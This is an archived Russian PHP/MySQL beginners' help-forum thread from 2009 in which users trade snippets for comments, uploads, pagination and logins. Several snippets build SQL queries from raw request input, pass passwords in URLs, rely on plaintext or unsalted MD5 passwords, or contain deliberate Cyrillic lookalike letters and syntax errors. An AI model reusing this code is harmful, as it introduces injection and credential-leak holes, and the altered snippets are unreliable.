Что с папку нельзя было зайти кинь в нее htaccess с такой строкой deny from all

1746. umaha (30.04.09 / 06:02)
Не кто не ответил( Скажите пожалуйста как сделать инклуд в таких ситуациях $foot = ' include_once"../****.php'; ??

1747. myz-tv (30.04.09 / 08:54)
1770, ты хочеш в переменную занести шапку?

1748. Удаленный (30.04.09 / 08:55)
67,скопировал твой код что то не канает он у меня. Страница выдает ошибку Parse error syntax.

1749. myz-tv (30.04.09 / 08:59)
1772, чита 1767 лучше "не копируй код с форума перепиши"

1750. Удаленный (30.04.09 / 09:03)
А почему не копировать?

1751. myz-tv (30.04.09 / 09:08)
Форум код коверкает лучше перепиши

1752. Удаленный (30.04.09 / 11:08)
А чем он закасячит? Я же с компа захожу копировать(.gif да потом в код сразу.

1753. Удаленный (30.04.09 / 11:18)
76, я в коде некоторые енг. буквы заменил на русские. сказал же не копируй значит нельзя.
зайди с откл. ява скриптом
http://bola.net.ru/?s=1241075831

1754. Gansik (30.04.09 / 13:29)
Написал новости на мускуле, теперь нужен ваш совет как реализовать коментарии к ним? Отдельно создать таблицу newskom? Но как потом эти коменты привязать к новостям с таблицы news?
З.Ы, в таблице news есть поля: id,text,data

1755. Удаленный (30.04.09 / 13:52)
создай новую табл. для комментов по другому никак.
поля для нее:
id I category I nick I msg I
при добавлении новостя в табл. комментов в поле category записывай ид созданной новости.
Затем при просмотре новостей сделай
$i - ид новостей комменты которой смотрим
select from comments WHERE category='".$i."'

1756. Gansik (30.04.09 / 14:08)
Араб, спасибо огромное!

1757. Удаленный (30.04.09 / 20:21)
Араб а сразу нельзя было сказать? ).gif а я не врубался. Лови +1

1758. Удаленный (30.04.09 / 20:22)
Ой пардон плюс не могу поставить...

1759. umaha (01.05.09 / 01:09)
1770, да если не секрет

1760. Удаленный (01.05.09 / 12:04)
Араб ты мне дал код вывод в кб может дашь код вывод в мб?

1761. exclusive (01.05.09 / 13:41)
1770.
я бы посоветовал реализовать это функцией.
function foot()
{
echo '&copy; site.ru<br/> lalalala';
}
и там где потом нужно вставить ноги, просто пишем
foot();

1762. Удаленный (01.05.09 / 15:25)
User, убери с кода что я дал эту строку $zipsize=$zipsize/1000; (она внизу)
Затем в файле wapmotor/template/functions.php найди функцию вывода правильного веса.
 //--------------- Функция правильного вывода веса файла -------------------//
function formatsize($file_size){...

И в моем коде echo $zipsize; пиши так
formatsize($zipsize);

1763. Удаленный (01.05.09 / 16:50)
Араб,Так у меня не мотор стоит. Как тогда?

1764. Удаленный (01.05.09 / 18:10)
найди эту функцию в моторе, скопируй и пиши над моим кодом

1765. Удаленный (01.05.09 / 19:25)
А твой код после 1000 кб будет выводить мб?

1766. myz-tv (01.05.09 / 19:57)
89, нет

1767. Gansik (03.05.09 / 00:04)
79, так не работает! Мне нужно походу при добавления коментария прописать в поле category айди новости! Но вот откуда взять этот id? \ уже запутался блин

1768. Gansik (03.05.09 / 00:07)
Верней откуда взять это понятно, с таблицы news но вот как правельно составить запрос что б добавляло комент с id той новости которая нужна?

1769. Удаленный (03.05.09 / 00:48)
if(issеt($_GET['add'])){
// id - автокримент
mysql_quеry("INSERT INTO news (zagolovok, msg) values ('$_POST[zagolovok]', '$_POST[msg]')");
mysql_quеry("CREATE TABLE comment (id int(11) NOT NULL auto_increment, news_id varchar(10), nick varchar(30), msg varchar(500), PRIMARY KEY (id))")
новость добавлена! exit; }
<action=?add>
<input name="zagolovok">
<input name="msg">
// выводим новости
$ar=mysql_fеtch_array(mysql_query("SELECT * FROM news"));
echo $ar['zagolovok'].'<br>'.$ar['zagolovok'].'
<a href="comm.php?id='.$ar['id'].'">комменарии</a>';

1770. Удаленный (03.05.09 / 00:57)
далее при переходе в комм.
_______
if(issеt($_GET['add']) && is_numeric($_GET['id'])){
###
mysql_quеry("INSERT INTO comment (news_id, nick, msg) values ('is_numeric('$_GЕT['id']', '$_POST[nick]', '$_POST[msg]')");
Комментарий добавлен! exit; }
###
<action=?add&id='.$_GET['id'].'>
<input name="nick">
<input name="msg">
##
##
// вывод комм.
$arr=mysql_fеtch_array(mysql_query("SELECT * FROM comment where news_id='".$_GET['id']."'")) or die("Error!");
echo $arr['nick'].'<br>'.$arr['msg'].'<br><br>' ;
###
###
отсюда не копируй

1771. Удаленный (03.05.09 / 00:59)
там где запись в комменты вместо is_numeric($_GET[id]) просто $_GET[id]

1772. Gnom (03.05.09 / 01:17)
Зачем просто лучше
abs(intval($_GET['id']))

1773. Gansik (03.05.09 / 10:46)
Arab, ух ты, спасибо, ты мне практически все написал) Будем тестировать klass.gif

1774. Удаленный (03.05.09 / 17:51)
Скажите пожалуйста у меня есть фотогалерея хотелось бы сделать функцию новые фото например отсортированы фото были за сегодня какие фото новые.

1775. Удаленный (03.05.09 / 18:49)
user, http://visavi.net/forum/index.php?fid=3&id=12003130241&page=1760&
читай 1763 й пост

1776. Aleksandr (04.05.09 / 00:14)
$a='проверочное сообщение';
$b=suбstr($a,0,16);
echo $b;
код выводит: проверочное сооб то есть 16 симв. из строки.
но он в конце строки ставит какой-то крякобряз.. как это исправить?

1777. Gnom (04.05.09 / 03:02)
Используй mb_substr

1778. Удаленный (04.05.09 / 15:05)
есть файл шрифта font.ttf как создать на странице картинку с надписью этим шрифтом? мож есть у кого готовый кодик?

1779. lugaro (04.05.09 / 15:10)
http://visavi.net/forum/index.php?fid=3&id=120325850058&page=120&
122 пост

1780. lugaro (04.05.09 / 15:20)
1800 может изо кодировки утф, поробуй в вин перекодируй, обреж и назад в утф

1781. Удаленный (04.05.09 / 16:27)
99,$files = scаndir("папка", 1); из за этой переменной выдаются почему то ошибки! может что то не дописал?

1782. Удаленный (04.05.09 / 16:29)
99,$files = scаndir("fhoto", 1); из за этой переменной выдаются почему то ошибки! может что то не дописал?

1783. Aleksandr (04.05.09 / 20:35)
полный код напиши там пару строк всего
гном, лугаро, спасибо попробую

1784. Удаленный (05.05.09 / 02:52)
Я и написал весь код который ты мне давал. Выдает ошибки страница. На строке где я вписывал этот код.

1785. Aleksandr (05.05.09 / 09:19)
ну хотя бы ошибки какие выдает написал бы %)
и какие файлы в папке? с какими они именами?
и как ты написал их вывод
сколько тебе надо чтоб выводило?
мысли твои читать не умею

1786. Aleksandr (05.05.09 / 09:24)
когда вчера я снова написал тот код то у меня тоже синтаксическую ошибку выдало. потом я вместо <? написал <?php (потому что не понимал какая там может быть еще причина)
и сработало. потом попробовал снова вместо <?php написать <? и ошибок больше не выдало.
не понятно что это было

1787. DeadBoy (05.05.09 / 10:10)
Скажите, как осуществить поиск по массиву, скажем ника юзера? Массив получаем из файла...

1788. Удаленный (05.05.09 / 10:14)
Араб,файлы jpg,gif! С названием photos. Надо чтобы была ссылка "Новые фото" и в них показывало какие фото сегодня добавили юзеры. А то мне письма уже надоедли. Выручайте пацаны.

1789. Aleksandr (05.05.09 / 10:59)
User! ПИПЕЦЦЦ !
Мне расширения файлов зачем пишешь? именааааа файлов ёлки зеленые.
"с названием photos"
у тебя че в папке файлы photos.jpg и photos.gif ? я же писал сохранять в time().jpg. именя файловдолжны быть в цифрах.
И вообще ты щас другое говоришь. если тебе только "сегодняшние" нужны то записывай имена изображений так date("j.n.Y")
затем сделай вывод содержимой папки( это хоть умее?)
птом в этом выводе разделяй имена файлов от расширений $dt=explode(".",$перемен.);
затем над переменной выводящий список файлов в папке пиши так:
if($dt[0]==date("j.n.Y")){ выводим файлы }
Все. больше ниче не знаю

1790. Aleksandr (05.05.09 / 11:01)
нет пожди. 1813 й пост не читай.
если тебе только "сегодняшние" нужны то записывай имена изображений так date("j#n#Y").jpg
затем сделай вывод содержимой папки( это хоть умее?)
птом в этом выводе разделяй имена файлов от расширений $dt=explode(".",$перемен.);
затем над переменной выводящий список файлов в папке пиши так:
if($dt[0]==date("j#n#Y")){ выводим файлы }

1791. Aleksandr (05.05.09 / 11:11)
1811, $find='что ищем';
$file=file_gеt_contents('путь/к/файлу/юзера');
if(strpоs($file,$ ;find)!==falsе){
echo'текст в юзере найден'; }

1792. Gansik (05.05.09 / 18:09)
С мускула дату выводит в таком формате: 2009-05-05 а как сменить формат,? хочу что б выводило так: дд.мм.год

1793. DeadBoy (06.05.09 / 15:41)
Араб, ты уверен что код правильный? И как он с точки зрения быстродействия?

1794. Удаленный (06.05.09 / 15:44)
У меня есть сщетчик файлов например Картинки(6478) хотелось бы сделать чтоб когда кто нибудь добавлял файлы в папку на страницы выводилось например Картинки(6478+89)

1795. finall2 (06.05.09 / 17:58)
1816.

$date = split ("-", $data);
echo"$data[2].$data[1].$data[0]";

$data это дата вида 2009-05-01

1796. Siera (06.05.09 / 23:00)
1816, лучше поле измени на int и записывай время в unix формате, потом легче с ним работать будет
1818,

<?php
if(кто-то добавляет файлы)
echo 'Картинки(6478+89)';
else echo 'Картинки(6478)';
// Не надо благодарностей, я экстрасэээнс (+
?>


1797. Удаленный (07.05.09 / 01:59)
И что это за код не полный?

1798. 9e9ywk0 (08.05.09 / 13:12)
у меня такой вопрос, к примеру, я загружаю txt файл, содержимое заношу в базу, файл не сохраняю, и нужно ли мне его сразу убивать через unlink()? Либо после занесения в базу просто давать ответ что файл загружен?

1799. inlanger (08.05.09 / 13:26)
А какая разница?

1800. 9e9ywk0 (08.05.09 / 13:30)
хз. незнаю, поэтому и спрашиваю.

1801. Playa (09.05.09 / 13:36)
http://upwap.ru/418149 вот ссылочега... не могу тут написать никак эту ф-ю. она выводит подсчёт размера в папках. но выводит в байтах. как мне обрезать выводимое число на три цифры, т.е. выводило не в байтах, а в кб... а то уже туплю

1802. demeros (09.05.09 / 13:56)
Floor($переменная с числом/1024)//это в кб
еще делиш на 1024 мб!

1803. demeros (09.05.09 / 13:58)
1818,даные о дате добавления вносятся кудато? Ато если дату создания файла проверять-нагрузка большая

1804. Playa (09.05.09 / 13:58)
1826, чувак, спс) считает нормал

1805. demeros (09.05.09 / 14:07)
Да незачто)

1806. seif (09.05.09 / 17:52)
подскажите как прочитать файл начиная с конца и заканчивая началом.

1807. DmitryDick (09.05.09 / 18:19)
30, file_get_contents('file')

1808. seif (09.05.09 / 18:58)
Всё равно с конца читает

1809. DmitryDick (09.05.09 / 20:25)
Тьфу, невнимательно прочел)

1810. Aleksandr (10.05.09 / 09:28)
Зяток, строки имеешь ввиду? вычисли количество строк и пиши вместо $file[0]
file[$количество_строк]

1811. myz-tv (10.05.09 / 10:13)
32, так? echo strrev(file_get_contents('file'));

1812. Aleksandr (10.05.09 / 13:10)
или array_reverse($строка);

1813. seif (10.05.09 / 15:15)
Всем спасибо.
array_reverse то что нужно).gif

1814. Nani (11.05.09 / 19:16)
Я создал страницу пхп. Как мне её сделать красного цвета? Если можно, то ответьте поточнее, я чайник

1815. Удаленный (11.05.09 / 19:25)
что красного цвета?текст или саму страницу(фон)?

1816. uamen (13.05.09 / 17:21)
Ребят,помогите как сделать одновременно и изменение размера изображения и наложения на него маркера=)буду благодарен=)

1817. Hotabb (13.05.09 / 17:29)
всем привет, я тут новенький, немоглибы вы подсказать код.
я написал первую гостевую, но при обновление страницы постоянно добавляеца последнее сообщение, как сделать так чтоб этого не происходило, дайте пожалуйста кодик

1818. Gansik (13.05.09 / 21:26)
Есть загрузка фото, при загрузки имя фото добавляеться в базу, как проверить при загрузке существует ли фото с таким именем уже?, если существует то вывести ошибку!

1819. seif (13.05.09 / 23:02)
Запрос в базу должен быть наверно такой
$result = mysql_query('SELECT foto FROM dbfoto');
$myrows = mysql_fetch_array($result);
do
{
if($foto == $myrows['foto'])
{
echo 'такое фото есть в базе';
exit;
}}
while($myrows=mysql_fetch_array($result));
точно не знаю только сегодня учить стал

1820. lugaro (13.05.09 / 23:20)
<?
if(mysql_num_rows(
mysql_query("SELECT foto FROM dbfoto WHERE foto = '1.jpg'")))
{
//такое есть
}
else
{
//Нет такого
}
?>


1821. Wapruks (14.05.09 / 03:07)
Как значение поля увеличить на один?

1822. Playa (14.05.09 / 09:12)
знач такое: есть таблица с полями id, ssxl. как вывести оттуда случайное значение ssxl?

1823. lugaro (14.05.09 / 09:28)
SELECT * FROM tabl ORDER BY RAND() LIMIT 1;


1824. Playa (14.05.09 / 09:41)
1847, чёт до мня не допирает гг типа того? <? echo"$eee=mysql_query('SELECT * FROM sluch ORDER BY RAND() LIMIT 1;');";?> [/code]

1825. Playa (14.05.09 / 09:42)
да блин, короче так что ли? $eee=mysql_query('SELECT * FROM tabl ORDER BY RAND() LIMIT 1;');

1826. Playa (14.05.09 / 09:44)
и вывод как сделать? вывожу так echo''.$eee.''; и выводит Resource id #13 гг йа запуталсо чёт

1827. lugaro (14.05.09 / 09:50)
$row = mysql_fetch_array(mysql_query("SELECT * FROM имя таблицы ORDER BY RAND() LIMIT 1")); 
echo $row['ssxl'];


1828. Playa (14.05.09 / 09:52)
бгг и чё сам то не додумалсо... тупой наверное) спс, 1851

1829. Aleksandr (14.05.09 / 10:00)
Wapruks, mysql_query("UPDATE табл. SET id=(id)+1 WHERE id='2'");
значение int должно быть.

1830. seif (14.05.09 / 10:04)
как из бд сравнить пароль верный или нет? пароль зашифрован в мд5
сам запрос немогу чет понят какой делать

1831. Aleksandr (14.05.09 / 10:13)
допустим ты ввел в качестве пароля qwerty(pass). а в качестве логина Admin(login).
Дальше как лугаро ниже писал проверяем:
$arr=mysql_fetch_array(mysql_query("SELECT * FROM табл. WHERE login='".$_POST['login']."'"));
if(md5($pass)=='$a rr['pass']){
echo'пароль верный'; }else{ exit('Password is incorrect!'); }

1832. Aleksandr (14.05.09 / 10:15)
там внизу только не if(md5($pass)== а if(md5($_POST['pass'])==
ну ты догнал наверно

1833. Gansik (14.05.09 / 22:12)
Такой вопрос:

if($mode == 'delfoto')
{
if (file_exists("images/$login.gif")) {
unlink("images/$login.gif");
$del = 1;
}
if (file_exists("images/$login.jpg")) {
unlink("images/$login.jpg");
$del = 1;
}
if (file_exists("images/$login.png")) {
unlink("images/$login.png");
$del = 1;
}
if($del)
{
mysql_query("UPDATE users SET foto='nofoto.jpg' WHERE login='$login'");
}
else{echo 'Если фото нет,ее удалить нельзя)';}
echo "<br/>&#187; <a href=\"$workdir/?mode=menu&login=$login&pass=$pass&back=$back&# 92;">Меню</a>";
}

Почему в мускул вместо записи nofoto.jpg записывает 0 ?

1834. Aleksandr (14.05.09 / 22:36)
потому что наверно у поля foto значение int
Поправь на varchar

1835. Gansik (14.05.09 / 22:37)
1857, сам разобрался).gif

1836. Gansik (14.05.09 / 22:45)
Ещё вопрос!
При загрузке фото оно загружаеться и переименовываеться на имя пользователя.jpg а вот как его загружать под реальным именем, именем файла?
форма загрузки такая:

if ($mode=='photocomp') {
$text=<<<END
<fоrm enctype="multipart/form-data" action="$workdir/" methоd="рost">
<input type="hidden" name="back" value="$back"/>
<input type="hidden" name="mode" value="uploadphoto"/>
<input type="hidden" name="login" value="$login"/>
<input type="hidden" name="pass" value="$pass"/>
<input type="hidden" name="MAX_FILE_SIZE" value="1000000"/>
<input name="photocomp" type="file"/><br>
<input type="submit" value="Загрузить"/>
</form>
<img src="img/home.png" width="12" heigth="12" alt=""><a href="$workdir/?mode=menu&login=$login&pass=$pass&back=$back"& gt;Меню</a>
END;
echo $text;
}


1837. Gansik (14.05.09 / 22:48)
Загрузка проходит так:

if (issеt($_FILЕS['photocomp'])) {
$tmpname=$_FILES['photocomp']['name'];
$tmpname=str_replace( '.oms', '', $tmpname);
preg_match("/\.(\w*)$/", $tmpname, $m);
$[email protected]оlower($m[1]);
if (($act!='gif') && ($act!='jpg') && ($act!='png')) {$act='jpg';}
mоve_uploaded_file($_FILES['photocomp']['tmp_name'], "images/$login.$act");
@resizeimage("images/$login.$act", $max_width, $max_height);
mysql_query ("UPDATE zn_anket SET foto='$login.$act' WHERE login='$login'");
echo "Файл успешно загружен</div><div class=b>";
mysql_error();
$mode='photo';
}


1838. Gansik (15.05.09 / 11:49)
И появился еще один вопрос, весь скрипт работает по таком прицену в адресной строке приблизительно так:

?mode=chat&login=Krevedko&pass=1111&back=sait.ru

Как переделать скрипт под сесии? А то ведь в таком виде он закрытий, и не будет доступен к поисковикам, или гостям, например в форум!

1839. Wapruks (15.05.09 / 11:52)
Логин,пасс в сессии пиши и проверяй

1840. Playa (15.05.09 / 13:08)
а у мня такой вопрос) таблица с полями id(int), mess(text), time(int), mobila(text). при добавлении сообщения ip+ua записываются в mobila. так вот нужно нужно найти в табле ip+ua такой же как у настоящего(который добавляет сообщение сейчас) и если найден такой же то из той же строки из time вычесть время добавления сообщения сейчас и если результат больше 25( к примеру) то произвести запись, если меньше то выполняетсо другое действие...

1841. painter (15.05.09 / 13:22)

$goodtime=time(int)(()-25);
$ipua=mysql_escape_string($ip.$ua);
$ ;query=mysql_query("SELECT time FROM table WHERE mobila = '$ipua' AND time >=$goodtime LIMIT 1")or die(mysql_error());
if(mysql_num_rows($query)==0){
// действие 1
}else{
// действие 2
};


1842. painter (15.05.09 / 13:23)
$goodtime=(int)(time()-25);
-------------
сорри за очепятку

1843. Playa (15.05.09 / 13:25)
1865, а интеджер обязательно указывать? а то вроде тайм и так в интеджере... должен так то вычитать нормал)

1844. painter (15.05.09 / 13:43)
эт для верняка))) привычка)
но суть запроса вроде правильно изложил ).gif

1845. Playa (15.05.09 / 13:48)
1868, ок, потом попробую) мне главное запрос был хотя бы примерно, условия и остальное то я допишу) + не могу поставить. баллов у тя маловато

1846. painter (15.05.09 / 14:02)
а нафиг о мне?)))) забудьте вы о плюсах)

1847. Playa (15.05.09 / 14:06)
1870, традиция) всё, я харэ оффтопить)

1848. Gansik (15.05.09 / 17:47)
Помогите пожалуйсьа по посту 1860-1861

1849. Aleksandr (15.05.09 / 18:18)
1872, images/$ligin.$act
а ты что хотел?

1850. Gansik (15.05.09 / 18:20)
1873, правельно images/$lоgin.$act Но мне нужно не это мну нужно что б сохранялось под реальным именем, например file.gif, хочу убрать это переименовывание

1851. Aleksandr (15.05.09 / 18:23)
ну вместо images/$login.$act напиши images/$tmpname.$act
или хотябы images/".time().".$act

1852. Gansik (15.05.09 / 18:25)
1875, 0_о супер идея! Тоесть тогда имя файла будет дата добавления.gif jpg, png и т.д.?

1853. Gansik (15.05.09 / 18:27)
хотя это тоже не совсем пойдет, разве что только дата, + учитывание времени с точностю до минуты

1854. Aleksandr (15.05.09 / 18:30)
нет. нет. нет.
если $tmpname.$act то как я понял картинки будут загружаться исходными именами а если time().$act то цифры.gif

1855. Gansik (15.05.09 / 18:33)
1878, спасибо, сейчас протестим

1856. Gansik (15.05.09 / 18:43)
1878, спасибо сработало! Только походу $act нужно обрать а то оно сохраняет как file.jpg.jpg =) Еще б сюда прикрутить как транслитерацию, в случаее если имя файла на кирилице, или может вообще запритить использовать кирилицу в название файла?

1857. seif (15.05.09 / 21:10)
Как из БД сделать вывод на страницу последних 3я зарегистрированых. Пишу так
$result = mysql_query('SELECT * FROM users ORDER BY nick LIMIT 3');
do
{
echo $myrows[nick];
}
while($myrows = mysql_fetch_array($result));
выводится только 2 последних, и 1 самый первый зарег.

1858. Gansik (15.05.09 / 21:21)
1880, разобрался
==============
как создать папку с именем id юзера, при загрузке фото?

1859. Gansik (15.05.09 / 21:26)
1881,

$result = mysql_query('SELECT * FROM users ORDER BY nick DESC LIMIT 3');


1860. Aleksandr (15.05.09 / 21:28)
182, mkdir("$id", 0777);

1861. DmitryDick (16.05.09 / 02:29)
81, 83, limit 0,3

1862. seif (16.05.09 / 10:18)
83, Так выводить 3я самых первых.
85, попробую потом напишу работает или нет

1863. Aleksandr (16.05.09 / 10:23)
86, вместо DESC LIMIT напиши ASC LIMIT

1864. seif (16.05.09 / 12:31)
Араб, вот так работает. спасиб

1865. Gansik (16.05.09 / 14:19)
1878. Араб [On] (15.05.09 / 17:30)
нет. нет. нет.
если $tmpname.$act то как я понял картинки будут загружаться исходными именами а если time().$act то цифры.gif
=======================================
Тоесть значение time() всегда будет уникальным?

1866. Удаленный (16.05.09 / 14:24)
89 тайм() это кол-во секунд с момента создания них систем если не ошибаюсь.
каждую секунду увеличивается на 1

1867. Gansik (16.05.09 / 14:29)
90, ага разобрался!
===
Возвращает количество секунд, прошедших с начала Эпохи Unix (The Unix Epoch, 1 января 1970, 00:00:00 GMT) до текущего времени.

1868. Gansik (16.05.09 / 15:51)
Вопрос: в базе пароли храняться в обычном виде, там у меня их уже больше 3 тыс, возможно ли их както массово отхешировать в мд5?

1869. Удаленный (16.05.09 / 15:54)
$mytime = time();
echo date('d.m.Y-H:i',$mytime);
вот так извлекать нормальную дату из тайм() если что.

1870. Удаленный (16.05.09 / 15:55)
92 циклом извлекай шифруй и записывай обратно.

1871. Gansik (16.05.09 / 16:28)
rаmzes, благодарю, будем пробовать).gif

1872. Wapruks (17.05.09 / 07:00)
У меня в двиге,на хомяке замучила ошибка
Warning: mysql_connect(): Too many connections in /usr/home/сайт/htdocs/inc/config.php on line 15 Too many connections
Как от нее избавиться?

1873. Wapruks (17.05.09 / 07:17)
Разобрался).gif

1874. Wapruks (17.05.09 / 07:20)
Блин,извините,все равно эта ошибка(.gif. Наверн через хитачесс надо

1875. lugaro (17.05.09 / 08:02)
Хост смени, ошибка говорит о том что слишком много подллячений а у них видемо ограничения гг

1876. lugaro (17.05.09 / 08:04)
подключений*

1877. Aleksandr (17.05.09 / 08:51)
у меня тоже такая ошибка выходила но очень редко. У тебя посетители бывают? если нет значит наверно скрипт неровно написан.

1878. demeros (17.05.09 / 13:37)
Нужна помощь,есть файл. Из него извлекаются записи в таком виде $file=file("my.txt");
структура файла номерlдатаl ,в файле 20 записей .теперь собственно вопрос,нужно организовать отображение записей по 3 на странице,а соль в том,что только для тех файлов номер которых =4. Тоесть надо сначало считать весь файл, найти отвечающие условию,и вывести по 3 на каждую,страницу,организовать навигацию

1879. painter (17.05.09 / 13:54)
а не проще для таких случаев MySQL использовать?

1880. Aleksandr (17.05.09 / 14:38)
Только те одна из ячеек которых равна 4? если да то вот такой кривоватый но пашущий думаю код.
______________
$msg=3;
$file = filе("file.dat");
$file = arrаy_reverse($file); #можешь убрать
if(isset($_GЕT[page]) && eregi("^[1-9]\$",$_GЕT[page]))
{$page=$_GЕT[page];}
elsе {$page=1;}
$sp = $msg*$page;
$minus = $sp-$msg;
$count = cоunt($file);
for($i=$minus; $i<$sp && $i<$count; $i++){
$a = explоde("I",$file[$i]);
if($a[нужнаяТебеЯчейка]=4){
echo'<br>& #39;.$a[0].' - '.$a[1].' - '.$a[2];
}}
echo'<hr>';
if($page>1) echo'<a href="index.php?page='.($page-1).'">Назад <<</a><br/>';
if(count($file)>$sp) print'<a href="index.php?page='.($page+1).'">>> Далее</a><br/>';
________
увы но копировать отсюда нельзя D.gif
не знаю точно сработает ли
я и вопрос твой толком не понял

1881. demeros (17.05.09 / 16:49)
03,проще,но выхода нет,скриот на файлах(.gif
04,пасиб попробую

1882. demeros (19.05.09 / 00:04)
Решил все записав проходящие условия в масив,и выводил уже оттуда! ).gif

1883. KILLERDEN (19.05.09 / 02:58)
Вот этот код выводит пустое поле для ввода <input type=text name=fidname> а как зделать, чтоб когда заходиш на страницу с этой формой, в ней было написано 990 ???

1884. demeros (19.05.09 / 10:54)
<input type="text" name="fidname" Value="990"/>

1885. Aleksandr (19.05.09 / 10:55)
.....name="XXXXX" value="990">

1886. KILLERDEN (19.05.09 / 11:30)
Спасиба ).gif

1887. KILLERDEN (19.05.09 / 15:15)
И еще вопросик: если нада чтоб высвечивалось случайное число от 5 до 100 какой код нужно вставить???

1888. lugaro (19.05.09 / 15:22)
rand(5,100);

1889. painter (19.05.09 / 15:36)
Лучше

mt_srand((double)(microtime()*1000000)); //инициализация
$n=mt_rand(5,100);

Эта функция работает лучше чем просто ранд

1890. KILLERDEN (19.05.09 / 15:39)
Не, чет не получается. Мне в строке так и выводит: rand(5,100)

1891. KILLERDEN (19.05.09 / 15:40)
Мне надо вставить сюда <input type=text name=fidname value=rand(5,100);>

1892. phpcoder (19.05.09 / 15:58)
ну ты даёшь..
<input type=text name=fidname value='<?php echo rand(5,100);?>'>

1893. lugaro (19.05.09 / 15:59)
<?
echo '<input type=text name=fidname value="'.rand(5,100).'">';
?>

1894. KILLERDEN (19.05.09 / 16:28)
Когда я написал
<?
echo'<input type=text name=fidname value="'.rand(5,100).'">';
?>
мне выдало ошибку Parse error: syntax error, unexpected T_CONSTANT_ENCAPSED_STRING, expecting ',' or ';' in/home/wm15180/public_html/gruz2/Upl.phpon line195

1895. seif (19.05.09 / 16:43)
Сделай так.
<?php
$key = rand(5,100);
echo "<input type='text' name='fidname' value='$key'>";
?>


1896. seif (19.05.09 / 16:45)
Так отличия нет в коде, но может работать будет.

1897. KILLERDEN (19.05.09 / 16:50)
Уже работает. Я там есhо переставил и теперЬ работает ).gif

1898. PIXEL (19.05.09 / 18:59)
Подскажите как отделить имя файла без расширения и путя?
Я делаю так:
eregi_replace('\.[^\.]*$', NULL, 'img/dir/file_name.gif');
Но получается вот что: img/dir/file_name
А нужно чтобы получилось просто название вайла: "file_name"

1899. Aleksandr (19.05.09 / 19:18)
$slash=substr_count($file, "/");
$dt = explode("/",$file);
echo$dt[$slash];

1900. PIXEL (19.05.09 / 19:26)
1923. Такой вариант я продумывал. А регулярками такое осуществить возможно?

1901. DURMAN (19.05.09 / 19:53)
PIXEL: ereg_replace(".*/", NULL, 'img/dir/file_name.gif');

1902. lugaro (19.05.09 / 20:55)
1922
$info = pathinfo('1.txt');
выдаст масив такого типа
Array ( [dirname] =>. [basename] => 1.txt [extension] => txt [filename] => 1 )
$info[0]//путь
$info[1]//расширение и имя
$info[2]//просто имя
$info[3]//расширение

1903. lugaro (19.05.09 / 20:57)
Мля чуть напутал там ?$info[0]//путь
$info[1]//расширение и имя
$info[2]//расширение
$info[3]// имя

1904. lugaro (19.05.09 / 21:17)
Пардон, туплю
$info[dirname]//путь
$info[basename]//полное имя
$info[extension]// расширение
$info[filename]//имя

1905. PIXEL (19.05.09 / 22:05)
.::lugaro::. Спасибо. Очень помог.

1906. DeadBoy (20.05.09 / 14:49)
Скажите, а зачем и надо ли использовать запирание файла????

1907. Troy (20.05.09 / 15:06)
1930,ты про flock? ну эт кароче чтобы пока файл открыт паралельно в него не записалось нечего.

1908. KILLERDEN (21.05.09 / 01:11)
Как кодировать русские буквы в такие: &#x043C; ???

1909. KILLERDEN (21.05.09 / 01:55)
Никто не знает???

1910. seif (21.05.09 / 22:03)
Почему данные код работает не правильно
mysql_query("UPDATE forum SET razdel='$forum' WHERE razdel='$id'");

т.е. он должен изменить название раздела, а получается что который раздел надо изменить он остается не измененым, а меняются все остальные которые менять не надо. Проверил id указан именно на тот раздел который надо менять

1911. painter (21.05.09 / 22:11)
он изменяет значение $id на $forum .
Попробуй так

mysql_query("UPDATE forum SET razdel_name = '$forum' WHERE razdel_id = '$id' LIMIT 1;");


1912. DeadBoy (22.05.09 / 08:27)
Artem aka Troy, Ну а смысл??? Чё типо если этого не делать, при работе с двумя файлами он будет чёт писать тада???

1913. seif (22.05.09 / 08:31)
36 могут лишние пробелы записаться, а если они будут, тогда и ошибки возникнут

1914. seif (22.05.09 / 08:36)
35 сейчас получается что меняется только раздел под ид 20 а надо изменить под ид 21

1915. DeadBoy (22.05.09 / 08:51)
Серёга, а как запирать??? Я нашел какой то код.... посмотрел в моторе

1916. Eddie (23.05.09 / 16:59)
народ как сделать так чтобы ссылки менялись и названия ссылок?

1917. Playa (23.05.09 / 17:25)
1940, используй rand. а так в теме ниже про полезные коды есть подходящий тебе код. вроде видел)

1918. demeros (23.05.09 / 21:55)
Люди,такой вопрос. Я выдаю файл на скачивание чарез header Locatoin: сам_файл. Если єто архив то никаких проблем нет вроде,место хранения не определяется,но в случае с картинкой браузер открівает ее для просмотра. И можно увидеть папку где она хранится,как єтого можно избежать?

1919. Bogdan (24.05.09 / 10:11)
Как сделать обход компов на сайте? Или перенаправление компов на определённый адрес? Заранее спасибо.

1920. Bogdan (24.05.09 / 10:17)
1940,
<code><?php
$r = array (
'<a href="http://адрес">Название ссылки</a>',
'<a href="http://адрес">Название ссылки</a>',
'<a href="http://адрес">Название ссылки</a>');
$rand = array_rand ($r, 2);
echo $r[$rand[0]];
?></code>

1921. Bogdan (24.05.09 / 10:18)
Затем инклудь эту страничку в нужное место

1922. Titov (24.05.09 / 10:19)
1942 путь к файлу и так и так будет виден, а картинка просто в браузере открываеться потому что может

1923. Bogdan (24.05.09 / 10:21)
1946, А не подскажешь ответ на мой вопрос?

1924. KILLERDEN (24.05.09 / 13:13)
Люди, плиз ответьте на мой пост 1932. Очень нужно.

1925. Bogdan (24.05.09 / 13:56)

<?php
$r = array (
'<a href="http://адрес">Название ссылки</a>',
'<a href="http://адрес">Название ссылки</a>',
'<a href="http://адрес">Название ссылки</a>');
$rand = array_rand ($r, 2);
echo $r[$rand[0]];
?>


1926. Bogdan (24.05.09 / 13:57)
Это посту 1940

1927. Eddie (24.05.09 / 14:29)
1950 спс:-)

1928. demeros (24.05.09 / 17:49)
1946,можно,и с картинки тоже не будет виден путь

1929. Bogdan (24.05.09 / 18:23)
Пост 1943 не актуален, разобрался

1930. Playa (25.05.09 / 08:59)
а можно так сделать? есть файл (txt или dat) и там к примеру 500 строк непронумерованных. нужно сформировать с каждой строкой запрос INSERT, чтобы каждая строка записалась в таблицу под своим ид... вручную это с каждой строкой запрос делать долго... может всё автоматизировать можно циклом или как-нибудь?

1931. DmitryDick (25.05.09 / 11:16)
$file = file('file.txt');
$count = count($file);
for ( $i=0; $i<$count; $i++ ) {
$data = explode('разделитель', $file[$i]);
mysql_query("insert into таблица set pole1='".$data[0]."', pole2='".$data[1]."' и так далее");
}

1932. DeadBoy (25.05.09 / 12:11)
Народ, я конечно извиняюсь, зачем нужна переменная $nocache. Заметил во многих скриптах используют...

